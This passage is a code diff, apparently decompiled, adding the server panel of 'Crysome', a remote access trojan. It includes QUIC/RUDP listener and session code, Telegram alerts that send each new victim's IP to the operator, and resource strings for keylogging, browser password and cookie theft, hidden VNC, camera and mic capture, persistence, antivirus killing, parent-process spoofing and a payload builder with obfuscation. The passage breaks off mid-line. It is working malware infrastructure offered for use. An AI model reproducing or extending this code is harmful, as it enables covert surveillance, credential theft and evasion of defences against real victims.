client.UdpSessionToken = num; + return num; + } + + public void UnregisterUdpSession(CrysomeClient client) + { + if (client != null && client.UdpSessionToken != 0) + { + _udpSessionMap.TryRemove(client.UdpSessionToken, out var _); + } + } + + public void Start() + { + if (Listening) + { + Stop(); + } + bool num = QuicPort > 0; + bool flag = Port > 0; + if (!num && !flag) + { + throw new InvalidOperationException("At least one of Port (RUDP) or QuicPort (QUIC) must be greater than 0."); + } + _cts = new CancellationTokenSource(); + if (num) + { + if (!QuicListener.IsSupported) + { + if (!flag) + { + throw new InvalidOperationException("QUIC listener is not supported. Use Windows 11 / Server 2022 or newer with MsQuic enabled, or set QuicPort to 0 and use RUDP only on Port."); + } + } + else + { + _serverCert = QuicCertificateHelper.CreateServerCertificate(); + _listener = QuicTransportSession.StartListenerAsync(QuicPort, _serverCert, _cts.Token).GetAwaiter().GetResult(); + } + } + if (flag) + { + _legacySock = new UdpClient(Port); + _legacySock.Client.ReceiveBufferSize = 8388608; + _legacySock.Client.SendBufferSize = 8388608; + _legacyTask = Task.Run(() => LegacyReceiveLoop(_cts.Token)); + } + Listening = true; + if (_listener != null) + { + _acceptTask = Task.Run(() => AcceptLoopAsync(_cts.Token)); + } + } + + public void Stop() + { + Listening = false; + try + { + _cts?.Cancel(); + } + catch + { + } + try + { + _listener?.DisposeAsync().AsTask().Wait(3000); + } + catch + { + } + _listener = null; + try + { + _legacySock?.Close(); + } + catch + { + } + _legacySock = null; + foreach (KeyValuePair connectedClient in ConnectedClients) + { + try + { + connectedClient.Value.Disconnect(); + } + catch + { + } + } + ConnectedClients.Clear(); + _clientKeys.Clear(); + _legacySessions.Clear(); + _legacySessionKeys.Clear(); + _udpSessionMap.Clear(); + } + + private async Task LegacyReceiveLoop(CancellationToken ct) + { + uint sessionId = default(uint); + byte b = default(byte); + uint num = default(uint); + uint num2 = default(uint); + ushort num3 = default(ushort); + ushort num4 = default(ushort); + byte b2 = default(byte); + while (!ct.IsCancellationRequested && Listening && _legacySock != null) + { + try + { + UdpReceiveResult udpReceiveResult = await _legacySock.ReceiveAsync().ConfigureAwait(continueOnCapturedContext: false); + byte[] buffer = udpReceiveResult.Buffer; + if (!RudpChannel.ParseHeader(buffer, buffer.Length, out sessionId, out b, out num, out num2, out num3, out num4, out b2)) + { + continue; + } + if (_legacySessions.TryGetValue(sessionId, out var client)) + { + goto IL_0275; + } + if ((b & 9) == 0 || sessionId == 0) + { + continue; + } + RudpChannel val = new RudpChannel(sessionId, udpReceiveResult.RemoteEndPoint, _legacySock); + val.UnreliableFrameReceived += delegate(byte typeId, byte[] data) + { + if (_legacySessions.TryGetValue(sessionId, out var value)) + { + try + { + this.UdpFrameReceived?.Invoke(this, new UdpFrameEventArgs(value, typeId, data)); + } + catch + { + } + } + }; + val.Disconnected += delegate + { + LegacyClientGone(sessionId); + }; + val.Start(); + client = new CrysomeClient(val); + string key = Guid.NewGuid().ToString("N"); + _legacySessions[sessionId] = client; + _legacySessionKeys[sessionId] = key; + ConnectedClients[key] = client; + Task.Run(delegate + { + ClientReadLoop(key, client, ct); + }, ct); + OnClientConnected(client); + goto IL_0275; + IL_0275: + CrysomeClient obj = client; + if (obj != null) + { + RudpChannel rudpChannel = obj.GetRudpChannel(); + if (rudpChannel != null) + { + rudpChannel.FeedDatagram(buffer); + } + } + } + catch (ObjectDisposedException) + { + break; + } + catch + { + } + } + } + + private void LegacyClientGone(uint sessionId) + { + if (_legacySessions.TryRemove(sessionId, out var value)) + { + if (_legacySessionKeys.TryRemove(sessionId, out var value2)) + { + ConnectedClients.TryRemove(value2, out var _); + } + UnregisterUdpSession(value); + OnClientDisconnected(value); + } + } + + private async Task AcceptLoopAsync(CancellationToken ct) + { + while (!ct.IsCancellationRequested && Listening && _listener != null) + { + try + { + QuicConnection conn = await _listener.AcceptConnectionAsync(ct).ConfigureAwait(continueOnCapturedContext: false); + Task.Run(() => HandleConnectionAsync(conn, ct), ct); + } + catch (ObjectDisposedException) + { + break; + } + catch + { + } + } + } + + private async Task HandleConnectionAsync(QuicConnection conn, CancellationToken ct) + { + QuicTransportSession session = null; + CrysomeClient client = null; + string key = null; + try + { + session = await QuicTransportSession.AcceptServerAsync(conn, ct).ConfigureAwait(continueOnCapturedContext: false); + client = new CrysomeClient((ITransportSession)(object)session, true); + key = Guid.NewGuid().ToString("N"); + _clientKeys[client] = key; + ConnectedClients[key] = client; + session.UnreliableFrameReceived += delegate(byte typeId, byte[] data) + { + try + { + this.UdpFrameReceived?.Invoke(this, new UdpFrameEventArgs(client, typeId, data)); + } + catch + { + } + }; + Task.Run(delegate + { + ClientReadLoop(key, client, ct); + }, ct); + OnClientConnected(client); + } + catch + { + try + { + QuicTransportSession obj2 = session; + if (obj2 != null) + { + obj2.Dispose(); + } + } + catch + { + } + if (client != null && key != null) + { + ClientGone(client, key); + } + } + } + + private void ClientGone(CrysomeClient client, string key) + { + if (client == null) + { + return; + } + CrysomeClient value; + string value2; + foreach (KeyValuePair legacySession in _legacySessions) + { + if (legacySession.Value == client) + { + _legacySessions.TryRemove(legacySession.Key, out value); + _legacySessionKeys.TryRemove(legacySession.Key, out value2); + break; + } + } + _clientKeys.TryRemove(client, out value2); + if (key != null) + { + ConnectedClients.TryRemove(key, out value); + } + UnregisterUdpSession(client); + OnClientDisconnected(client); + } + + private void ClientReadLoop(string key, CrysomeClient client, CancellationToken ct) + { + try + { + while (!ct.IsCancellationRequested && client.IsConnected) + { + IPacket packet = client.ReadPacket(); + OnPacketReceived(client, packet); + } + } + catch (IOException) + { + } + catch + { + } + finally + { + ClientGone(client, key); + } + } + + public void DisconnectClient(CrysomeClient client) + { + if (client == null) + { + return; + } + try + { + client.Disconnect(); + } + catch + { + } + } + + public List GetClientSnapshot() + { + return new List(ConnectedClients.Values); + } + + private void OnClientConnected(CrysomeClient client) + { + this.ClientConnected?.Invoke(this, new ClientEventArgs(client)); + if (Store == null || !Store.Settings.TelegramEnabled || string.IsNullOrEmpty(Store.Settings.TelegramToken) || string.IsNullOrEmpty(Store.Settings.TelegramChatId)) + { + return; + } + string ip = client.RemoteAddress?.Address?.ToString() ?? "Unknown"; + Task.Run(async delegate + { + try + { + string stringToEscape = "\ud83d\udd14 *New Client Connected*\nIP: " + ip; + string requestUri = $"https://api.telegram.org/bot{Store.Settings.TelegramToken}/sendMessage?chat_id={Store.Settings.TelegramChatId}&text={Uri.EscapeDataString(stringToEscape)}&parse_mode=Markdown"; + using HttpClient hc = new HttpClient(); + await hc.GetAsync(requestUri); + } + catch + { + } + }); + } + + private void OnClientDisconnected(CrysomeClient client) + { + this.ClientDisconnected?.Invoke(this, new ClientEventArgs(client)); + } + + private void OnPacketReceived(CrysomeClient client, IPacket packet) + { + this.PacketReceived?.Invoke(this, new PacketEventArgs(client, packet)); + PacketChannel.HandlePacket(client, packet); + } +} diff --git a/Crysome.Server/Crysome.Server.Network/PacketChannel.cs b/Crysome.Server/Crysome.Server.Network/PacketChannel.cs new file mode 100644 index 0000000..cc6c02c --- /dev/null +++ b/Crysome.Server/Crysome.Server.Network/PacketChannel.cs @@ -0,0 +1,29 @@ +using System; +using System.Collections.Generic; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; + +namespace Crysome.Server.Network; + +public class PacketChannel +{ + public readonly Dictionary> Handlers; + + public PacketChannel() + { + Handlers = new Dictionary>(); + } + + public void HandlePacket(CrysomeClient sender, IPacket packet) + { + if (Handlers.TryGetValue(((object)packet).GetType(), out var value)) + { + value(sender, packet); + } + } + + public void RegisterHandler(Action handler) + { + Handlers[typeof(TPacket)] = handler; + } +} diff --git a/Crysome.Server/Crysome.Server.Network/PacketEventArgs.cs b/Crysome.Server/Crysome.Server.Network/PacketEventArgs.cs new file mode 100644 index 0000000..ba9b7ce --- /dev/null +++ b/Crysome.Server/Crysome.Server.Network/PacketEventArgs.cs @@ -0,0 +1,18 @@ +using System; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; + +namespace Crysome.Server.Network; + +public class PacketEventArgs : EventArgs +{ + public CrysomeClient Client { get; set; } + + public IPacket Packet { get; set; } + + public PacketEventArgs(CrysomeClient client, IPacket packet) + { + Packet = packet; + Client = client; + } +} diff --git a/Crysome.Server/Crysome.Server.Network/UdpFrameEventArgs.cs b/Crysome.Server/Crysome.Server.Network/UdpFrameEventArgs.cs new file mode 100644 index 0000000..cc4b4cd --- /dev/null +++ b/Crysome.Server/Crysome.Server.Network/UdpFrameEventArgs.cs @@ -0,0 +1,20 @@ +using System; +using Crysome.Common.Network; + +namespace Crysome.Server.Network; + +public class UdpFrameEventArgs : EventArgs +{ + public CrysomeClient Client { get; } + + public byte PacketTypeId { get; } + + public byte[] Data { get; } + + public UdpFrameEventArgs(CrysomeClient client, byte packetTypeId, byte[] data) + { + Client = client; + PacketTypeId = packetTypeId; + Data = data; + } +} diff --git a/Crysome.Server/Crysome.Server.Properties/Resources.cs b/Crysome.Server/Crysome.Server.Properties/Resources.cs new file mode 100644 index 0000000..840105c --- /dev/null +++ b/Crysome.Server/Crysome.Server.Properties/Resources.cs @@ -0,0 +1,48 @@ +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.Globalization; +using System.Resources; +using System.Runtime.CompilerServices; + +namespace Crysome.Server.Properties; + +[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] +[DebuggerNonUserCode] +[CompilerGenerated] +internal class Resources +{ + private static ResourceManager resourceMan; + + private static CultureInfo resourceCulture; + + [EditorBrowsable(EditorBrowsableState.Advanced)] + internal static ResourceManager ResourceManager + { + get + { + if (resourceMan == null) + { + resourceMan = new ResourceManager("Crysome.Server.Properties.Resources", typeof(Resources).Assembly); + } + return resourceMan; + } + } + + [EditorBrowsable(EditorBrowsableState.Advanced)] + internal static CultureInfo Culture + { + get + { + return resourceCulture; + } + set + { + resourceCulture = value; + } + } + + internal Resources() + { + } +} diff --git a/Crysome.Server/Crysome.Server.Properties/Settings.cs b/Crysome.Server/Crysome.Server.Properties/Settings.cs new file mode 100644 index 0000000..ad67fc2 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Properties/Settings.cs @@ -0,0 +1,14 @@ +using System.CodeDom.Compiler; +using System.Configuration; +using System.Runtime.CompilerServices; + +namespace Crysome.Server.Properties; + +[CompilerGenerated] +[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.3.0.0")] +internal sealed class Settings : ApplicationSettingsBase +{ + private static Settings defaultInstance = (Settings)SettingsBase.Synchronized(new Settings()); + + public static Settings Default => defaultInstance; +} diff --git a/Crysome.Server/Crysome.Server.Resources.Strings.resx b/Crysome.Server/Crysome.Server.Resources.Strings.resx new file mode 100644 index 0000000..f89a139 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Resources.Strings.resx @@ -0,0 +1,212 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Ping + Bank + Apps + Process Manager + Cookies + Browse… + Computer Name + IP / Host + GPU + Clients: + Title + Log to File (activity.log) + Proxy + Operating System + Group + Notes + File Manager + Process List / Kill + SelfProtect (anti-kill & anti-delete) + QUIC port (0 = off): + Export + Active Window + Play sound on client disconnect + CRYSOME - SELECT LANGUAGE + All (Passwords + Cookies + Autofills) + Browse + Builder + Properties + Test Message + File + Continue + Passwords / Cookies + Identifier + Exit + HVNC + Build Output + Credentials + Mute 30min + Select Language + Keylogger + (0 = unlimited) + Enable or disable right-click context menu features + Autofills + Showing + Remote Desktop + Enable Telegram Bot + Desc + Activity Log + Back to Connections + Credentials + Assembly & Icon + Block selected + Clone from File... + Screenshot + Terminal + Active Sessions + Save Settings + RUDP port (Builder / .NET FW): + Stub Path + PluginSurvival (survives Windows Reset) + Block IP + Take Screenshot + clients + Add + Play sound on client connect + Ping + Stop + Note + Screenshot All + Obfuscate output (built-in dnlib) + Avg Ping: + Settings + File Manager + Enter your license key + Direct Link + Version + IP Address + Pin to Top + Direct Link Download + Spawn as child of process (evasion) + Blocked IPs (refuse connection) + Remote Camera + Restart + Export + Please buy license key to login. + Max Endpoints: + Persistence (Scheduled Task) + Company + Logging + Take Screenshot + Filters + Send File + SOCKS5 Proxy + Login + Server + Copy Summary + Plugin Manager + Pause Activity Log + File Manager + Countries: + Back to Connections + Context menu features + Settings + Our Telegram + Direct Link (All) + Remote Chat + Restart + Copyright + Type + Save as... + Sort + Size + Name + Open + Proxy + Username + Send File (All) + AVKiller (block & kill antivirus) + Product + Changes apply immediately. Disabled items are hidden from the client list right-click menu. + Quick Actions + Notifications + Info Poll (ms): + Chat ID: + Send Command (All) + Management + Max File (MB): + Screenshot + HVNC + File Transfer + Chat + Features + Audio Capture + Proxy (SOCKS5) + Remote Shell + OS + ms + Remote Audio/Mic + Folder + HVNC: + Plugins + Blocklist + Remote Desktop + Parent Spoof + Username + Quick Stats + Remote Command (PowerShell) + Send Command + Start + IP + OS + Group + Upload + Send Command (All) + Back to Connections + Client connected from {0}. + Clear filters + Rename + Client Builder + BUILD + Group + Uptime + Randomize + Remove + Remote + Bot Token: + Keylogger + Active Windows: + Passwords + Modified + Camera + Telegram Notifications: + CRYSOME | t.me/CuriousCracks + Delete + Edit Assembly Info + Port + Icon: + Surveillance + Target + RDP: + Port + Country + \ No newline at end of file diff --git a/Crysome.Server/Crysome.Server.Resources/Strings.cs b/Crysome.Server/Crysome.Server.Resources/Strings.cs new file mode 100644 index 0000000..0059774 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Resources/Strings.cs @@ -0,0 +1,412 @@ +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.Globalization; +using System.Resources; +using System.Runtime.CompilerServices; + +namespace Crysome.Server.Resources; + +[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] +[DebuggerNonUserCode] +[CompilerGenerated] +public class Strings +{ + private static ResourceManager resourceMan; + + private static CultureInfo resourceCulture; + + [EditorBrowsable(EditorBrowsableState.Advanced)] + public static ResourceManager ResourceManager + { + get + { + if (resourceMan == null) + { + resourceMan = new ResourceManager("Crysome.Server.Resources.Strings", typeof(Strings).Assembly); + } + return resourceMan; + } + } + + [EditorBrowsable(EditorBrowsableState.Advanced)] + public static CultureInfo Culture + { + get + { + return resourceCulture; + } + set + { + resourceCulture = value; + } + } + + public static string Lang_Title => ResourceManager.GetString("Lang_Title", resourceCulture); + + public static string Lang_SelectLabel => ResourceManager.GetString("Lang_SelectLabel", resourceCulture); + + public static string Lang_ContinueButton => ResourceManager.GetString("Lang_ContinueButton", resourceCulture); + + public static string Login_WindowTitle => ResourceManager.GetString("Login_WindowTitle", resourceCulture); + + public static string Login_EnterKey => ResourceManager.GetString("Login_EnterKey", resourceCulture); + + public static string Login_ErrorMsg => ResourceManager.GetString("Login_ErrorMsg", resourceCulture); + + public static string Login_Buy => ResourceManager.GetString("Login_Buy", resourceCulture); + + public static string Login_Login => ResourceManager.GetString("Login_Login", resourceCulture); + + public static string Login_Exit => ResourceManager.GetString("Login_Exit", resourceCulture); + + public static string FileExplorer_Browse => ResourceManager.GetString("FileExplorer_Browse", resourceCulture); + + public static string FileExplorer_Delete => ResourceManager.GetString("FileExplorer_Delete", resourceCulture); + + public static string FileExplorer_Name => ResourceManager.GetString("FileExplorer_Name", resourceCulture); + + public static string FileExplorer_Open => ResourceManager.GetString("FileExplorer_Open", resourceCulture); + + public static string FileExplorer_Properties => ResourceManager.GetString("FileExplorer_Properties", resourceCulture); + + public static string FileExplorer_Rename => ResourceManager.GetString("FileExplorer_Rename", resourceCulture); + + public static string FileExplorer_Save => ResourceManager.GetString("FileExplorer_Save", resourceCulture); + + public static string FileExplorer_Size => ResourceManager.GetString("FileExplorer_Size", resourceCulture); + + public static string FileExplorer_Type => ResourceManager.GetString("FileExplorer_Type", resourceCulture); + + public static string FileExplorer_Modified => ResourceManager.GetString("FileExplorer_Modified", resourceCulture); + + public static string FileExplorer_Upload => ResourceManager.GetString("FileExplorer_Upload", resourceCulture); + + public static string FileExplorer_Sort => ResourceManager.GetString("FileExplorer_Sort", resourceCulture); + + public static string FileType_File => ResourceManager.GetString("FileType_File", resourceCulture); + + public static string FileType_Folder => ResourceManager.GetString("FileType_Folder", resourceCulture); + + public static string Main_Address => ResourceManager.GetString("Main_Address", resourceCulture); + + public static string Main_ClientConnected => ResourceManager.GetString("Main_ClientConnected", resourceCulture); + + public static string Main_ComputerName => ResourceManager.GetString("Main_ComputerName", resourceCulture); + + public static string Main_FileManager => ResourceManager.GetString("Main_FileManager", resourceCulture); + + public static string Main_Identifier => ResourceManager.GetString("Main_Identifier", resourceCulture); + + public static string Main_Management => ResourceManager.GetString("Main_Management", resourceCulture); + + public static string Main_OperatingSystem => ResourceManager.GetString("Main_OperatingSystem", resourceCulture); + + public static string Main_Port => ResourceManager.GetString("Main_Port", resourceCulture); + + public static string Main_Surveillance => ResourceManager.GetString("Main_Surveillance", resourceCulture); + + public static string Main_TakeScreenshot => ResourceManager.GetString("Main_TakeScreenshot", resourceCulture); + + public static string Main_Terminal => ResourceManager.GetString("Main_Terminal", resourceCulture); + + public static string Main_Username => ResourceManager.GetString("Main_Username", resourceCulture); + + public static string Clients_Filters => ResourceManager.GetString("Clients_Filters", resourceCulture); + + public static string Clients_Country => ResourceManager.GetString("Clients_Country", resourceCulture); + + public static string Clients_OS => ResourceManager.GetString("Clients_OS", resourceCulture); + + public static string Clients_Group => ResourceManager.GetString("Clients_Group", resourceCulture); + + public static string Clients_Ping => ResourceManager.GetString("Clients_Ping", resourceCulture); + + public static string Clients_ClearFilters => ResourceManager.GetString("Clients_ClearFilters", resourceCulture); + + public static string Clients_Blocklist => ResourceManager.GetString("Clients_Blocklist", resourceCulture); + + public static string Clients_BlockedIPs => ResourceManager.GetString("Clients_BlockedIPs", resourceCulture); + + public static string Clients_Add => ResourceManager.GetString("Clients_Add", resourceCulture); + + public static string Clients_Remove => ResourceManager.GetString("Clients_Remove", resourceCulture); + + public static string Clients_BlockSelected => ResourceManager.GetString("Clients_BlockSelected", resourceCulture); + + public static string Clients_QuickStats => ResourceManager.GetString("Clients_QuickStats", resourceCulture); + + public static string Clients_Showing => ResourceManager.GetString("Clients_Showing", resourceCulture); + + public static string Clients_ClientsWord => ResourceManager.GetString("Clients_ClientsWord", resourceCulture); + + public static string Clients_Countries => ResourceManager.GetString("Clients_Countries", resourceCulture); + + public static string Clients_AvgPing => ResourceManager.GetString("Clients_AvgPing", resourceCulture); + + public static string Clients_Ms => ResourceManager.GetString("Clients_Ms", resourceCulture); + + public static string Clients_ActiveWindows => ResourceManager.GetString("Clients_ActiveWindows", resourceCulture); + + public static string Clients_QuickActions => ResourceManager.GetString("Clients_QuickActions", resourceCulture); + + public static string Clients_ScreenshotAll => ResourceManager.GetString("Clients_ScreenshotAll", resourceCulture); + + public static string Clients_SendCommandAll => ResourceManager.GetString("Clients_SendCommandAll", resourceCulture); + + public static string Clients_ActiveSessions => ResourceManager.GetString("Clients_ActiveSessions", resourceCulture); + + public static string Clients_HvncLabel => ResourceManager.GetString("Clients_HvncLabel", resourceCulture); + + public static string Clients_RdpLabel => ResourceManager.GetString("Clients_RdpLabel", resourceCulture); + + public static string Clients_ColIP => ResourceManager.GetString("Clients_ColIP", resourceCulture); + + public static string Clients_ColUsername => ResourceManager.GetString("Clients_ColUsername", resourceCulture); + + public static string Clients_ColOS => ResourceManager.GetString("Clients_ColOS", resourceCulture); + + public static string Clients_ColActiveWindow => ResourceManager.GetString("Clients_ColActiveWindow", resourceCulture); + + public static string Clients_ColPing => ResourceManager.GetString("Clients_ColPing", resourceCulture); + + public static string Clients_ColUptime => ResourceManager.GetString("Clients_ColUptime", resourceCulture); + + public static string Clients_ColGPU => ResourceManager.GetString("Clients_ColGPU", resourceCulture); + + public static string Clients_ColGroup => ResourceManager.GetString("Clients_ColGroup", resourceCulture); + + public static string Clients_ColProxy => ResourceManager.GetString("Clients_ColProxy", resourceCulture); + + public static string Clients_ColApps => ResourceManager.GetString("Clients_ColApps", resourceCulture); + + public static string Clients_ColBank => ResourceManager.GetString("Clients_ColBank", resourceCulture); + + public static string Clients_ColNotes => ResourceManager.GetString("Clients_ColNotes", resourceCulture); + + public static string Clients_ActivityLog => ResourceManager.GetString("Clients_ActivityLog", resourceCulture); + + public static string Clients_Export => ResourceManager.GetString("Clients_Export", resourceCulture); + + public static string Clients_Start => ResourceManager.GetString("Clients_Start", resourceCulture); + + public static string Clients_Stop => ResourceManager.GetString("Clients_Stop", resourceCulture); + + public static string Clients_ProxyBtn => ResourceManager.GetString("Clients_ProxyBtn", resourceCulture); + + public static string Clients_Screenshot => ResourceManager.GetString("Clients_Screenshot", resourceCulture); + + public static string Clients_Builder => ResourceManager.GetString("Clients_Builder", resourceCulture); + + public static string Clients_Plugins => ResourceManager.GetString("Clients_Plugins", resourceCulture); + + public static string Clients_Settings => ResourceManager.GetString("Clients_Settings", resourceCulture); + + public static string Clients_ClientsLabel => ResourceManager.GetString("Clients_ClientsLabel", resourceCulture); + + public static string Clients_SendCommand => ResourceManager.GetString("Clients_SendCommand", resourceCulture); + + public static string Clients_SendCommandAllMenu => ResourceManager.GetString("Clients_SendCommandAllMenu", resourceCulture); + + public static string Clients_SendFile => ResourceManager.GetString("Clients_SendFile", resourceCulture); + + public static string Clients_SendFileAll => ResourceManager.GetString("Clients_SendFileAll", resourceCulture); + + public static string Clients_DirectLink => ResourceManager.GetString("Clients_DirectLink", resourceCulture); + + public static string Clients_DirectLinkAll => ResourceManager.GetString("Clients_DirectLinkAll", resourceCulture); + + public static string Clients_Socks5Proxy => ResourceManager.GetString("Clients_Socks5Proxy", resourceCulture); + + public static string Clients_TakeScreenshot => ResourceManager.GetString("Clients_TakeScreenshot", resourceCulture); + + public static string Clients_ProcessManager => ResourceManager.GetString("Clients_ProcessManager", resourceCulture); + + public static string Clients_Credentials => ResourceManager.GetString("Clients_Credentials", resourceCulture); + + public static string Clients_Passwords => ResourceManager.GetString("Clients_Passwords", resourceCulture); + + public static string Clients_Cookies => ResourceManager.GetString("Clients_Cookies", resourceCulture); + + public static string Clients_PasswordsCookies => ResourceManager.GetString("Clients_PasswordsCookies", resourceCulture); + + public static string Clients_Autofills => ResourceManager.GetString("Clients_Autofills", resourceCulture); + + public static string Clients_AllCredentials => ResourceManager.GetString("Clients_AllCredentials", resourceCulture); + + public static string Clients_Remote => ResourceManager.GetString("Clients_Remote", resourceCulture); + + public static string Clients_RemoteShell => ResourceManager.GetString("Clients_RemoteShell", resourceCulture); + + public static string Clients_RemoteAudio => ResourceManager.GetString("Clients_RemoteAudio", resourceCulture); + + public static string Clients_RemoteCamera => ResourceManager.GetString("Clients_RemoteCamera", resourceCulture); + + public static string Clients_RemoteDesktop => ResourceManager.GetString("Clients_RemoteDesktop", resourceCulture); + + public static string Clients_HvncMenu => ResourceManager.GetString("Clients_HvncMenu", resourceCulture); + + public static string Clients_KeyloggerMenu => ResourceManager.GetString("Clients_KeyloggerMenu", resourceCulture); + + public static string Clients_RemoteChat => ResourceManager.GetString("Clients_RemoteChat", resourceCulture); + + public static string Clients_FileManager => ResourceManager.GetString("Clients_FileManager", resourceCulture); + + public static string Clients_Restart => ResourceManager.GetString("Clients_Restart", resourceCulture); + + public static string Clients_CopySummary => ResourceManager.GetString("Clients_CopySummary", resourceCulture); + + public static string Clients_BlockIP => ResourceManager.GetString("Clients_BlockIP", resourceCulture); + + public static string Clients_PinToTop => ResourceManager.GetString("Clients_PinToTop", resourceCulture); + + public static string Clients_ExportMenu => ResourceManager.GetString("Clients_ExportMenu", resourceCulture); + + public static string Clients_Mute30 => ResourceManager.GetString("Clients_Mute30", resourceCulture); + + public static string Clients_Note => ResourceManager.GetString("Clients_Note", resourceCulture); + + public static string Settings_BackToConnections => ResourceManager.GetString("Settings_BackToConnections", resourceCulture); + + public static string Settings_Title => ResourceManager.GetString("Settings_Title", resourceCulture); + + public static string Settings_Server => ResourceManager.GetString("Settings_Server", resourceCulture); + + public static string Settings_Port => ResourceManager.GetString("Settings_Port", resourceCulture); + + public static string Settings_QuicPort => ResourceManager.GetString("Settings_QuicPort", resourceCulture); + + public static string Settings_InfoPoll => ResourceManager.GetString("Settings_InfoPoll", resourceCulture); + + public static string Settings_MaxEndpoints => ResourceManager.GetString("Settings_MaxEndpoints", resourceCulture); + + public static string Settings_Unlimited => ResourceManager.GetString("Settings_Unlimited", resourceCulture); + + public static string Settings_MaxFile => ResourceManager.GetString("Settings_MaxFile", resourceCulture); + + public static string Settings_Notifications => ResourceManager.GetString("Settings_Notifications", resourceCulture); + + public static string Settings_PlaySoundConnect => ResourceManager.GetString("Settings_PlaySoundConnect", resourceCulture); + + public static string Settings_PlaySoundDisconnect => ResourceManager.GetString("Settings_PlaySoundDisconnect", resourceCulture); + + public static string Settings_TelegramNotifs => ResourceManager.GetString("Settings_TelegramNotifs", resourceCulture); + + public static string Settings_EnableTelegram => ResourceManager.GetString("Settings_EnableTelegram", resourceCulture); + + public static string Settings_BotToken => ResourceManager.GetString("Settings_BotToken", resourceCulture); + + public static string Settings_ChatID => ResourceManager.GetString("Settings_ChatID", resourceCulture); + + public static string Settings_TestMessage => ResourceManager.GetString("Settings_TestMessage", resourceCulture); + + public static string Settings_Logging => ResourceManager.GetString("Settings_Logging", resourceCulture); + + public static string Settings_PauseLog => ResourceManager.GetString("Settings_PauseLog", resourceCulture); + + public static string Settings_LogToFile => ResourceManager.GetString("Settings_LogToFile", resourceCulture); + + public static string Settings_Save => ResourceManager.GetString("Settings_Save", resourceCulture); + + public static string Builder_BackToConnections => ResourceManager.GetString("Builder_BackToConnections", resourceCulture); + + public static string Builder_Title => ResourceManager.GetString("Builder_Title", resourceCulture); + + public static string Builder_Target => ResourceManager.GetString("Builder_Target", resourceCulture); + + public static string Builder_IPHost => ResourceManager.GetString("Builder_IPHost", resourceCulture); + + public static string Builder_Port => ResourceManager.GetString("Builder_Port", resourceCulture); + + public static string Builder_Group => ResourceManager.GetString("Builder_Group", resourceCulture); + + public static string Builder_StubPath => ResourceManager.GetString("Builder_StubPath", resourceCulture); + + public static string Builder_Browse => ResourceManager.GetString("Builder_Browse", resourceCulture); + + public static string Builder_ParentSpoof => ResourceManager.GetString("Builder_ParentSpoof", resourceCulture); + + public static string Builder_ParentSpoofDesc => ResourceManager.GetString("Builder_ParentSpoofDesc", resourceCulture); + + public static string Builder_AssemblyIcon => ResourceManager.GetString("Builder_AssemblyIcon", resourceCulture); + + public static string Builder_Icon => ResourceManager.GetString("Builder_Icon", resourceCulture); + + public static string Builder_EditAssembly => ResourceManager.GetString("Builder_EditAssembly", resourceCulture); + + public static string Builder_CloneFromFile => ResourceManager.GetString("Builder_CloneFromFile", resourceCulture); + + public static string Builder_Randomize => ResourceManager.GetString("Builder_Randomize", resourceCulture); + + public static string Builder_AsmTitle => ResourceManager.GetString("Builder_AsmTitle", resourceCulture); + + public static string Builder_AsmDesc => ResourceManager.GetString("Builder_AsmDesc", resourceCulture); + + public static string Builder_AsmCompany => ResourceManager.GetString("Builder_AsmCompany", resourceCulture); + + public static string Builder_AsmProduct => ResourceManager.GetString("Builder_AsmProduct", resourceCulture); + + public static string Builder_AsmCopyright => ResourceManager.GetString("Builder_AsmCopyright", resourceCulture); + + public static string Builder_AsmVersion => ResourceManager.GetString("Builder_AsmVersion", resourceCulture); + + public static string Builder_Features => ResourceManager.GetString("Builder_Features", resourceCulture); + + public static string Builder_FeatCmd => ResourceManager.GetString("Builder_FeatCmd", resourceCulture); + + public static string Builder_FeatFile => ResourceManager.GetString("Builder_FeatFile", resourceCulture); + + public static string Builder_FeatDirectLink => ResourceManager.GetString("Builder_FeatDirectLink", resourceCulture); + + public static string Builder_FeatScreenshot => ResourceManager.GetString("Builder_FeatScreenshot", resourceCulture); + + public static string Builder_FeatFileMgr => ResourceManager.GetString("Builder_FeatFileMgr", resourceCulture); + + public static string Builder_FeatProcess => ResourceManager.GetString("Builder_FeatProcess", resourceCulture); + + public static string Builder_FeatRestart => ResourceManager.GetString("Builder_FeatRestart", resourceCulture); + + public static string Builder_FeatProxy => ResourceManager.GetString("Builder_FeatProxy", resourceCulture); + + public static string Builder_FeatDesktop => ResourceManager.GetString("Builder_FeatDesktop", resourceCulture); + + public static string Builder_FeatHvnc => ResourceManager.GetString("Builder_FeatHvnc", resourceCulture); + + public static string Builder_FeatCredentials => ResourceManager.GetString("Builder_FeatCredentials", resourceCulture); + + public static string Builder_FeatKeylogger => ResourceManager.GetString("Builder_FeatKeylogger", resourceCulture); + + public static string Builder_FeatChat => ResourceManager.GetString("Builder_FeatChat", resourceCulture); + + public static string Builder_FeatAudio => ResourceManager.GetString("Builder_FeatAudio", resourceCulture); + + public static string Builder_FeatCamera => ResourceManager.GetString("Builder_FeatCamera", resourceCulture); + + public static string Builder_FeatPersistence => ResourceManager.GetString("Builder_FeatPersistence", resourceCulture); + + public static string Builder_FeatSurvival => ResourceManager.GetString("Builder_FeatSurvival", resourceCulture); + + public static string Builder_FeatAvKiller => ResourceManager.GetString("Builder_FeatAvKiller", resourceCulture); + + public static string Builder_FeatProtect => ResourceManager.GetString("Builder_FeatProtect", resourceCulture); + + public static string Builder_FeatObfuscate => ResourceManager.GetString("Builder_FeatObfuscate", resourceCulture); + + public static string Builder_Build => ResourceManager.GetString("Builder_Build", resourceCulture); + + public static string Builder_BuildOutput => ResourceManager.GetString("Builder_BuildOutput", resourceCulture); + + public static string 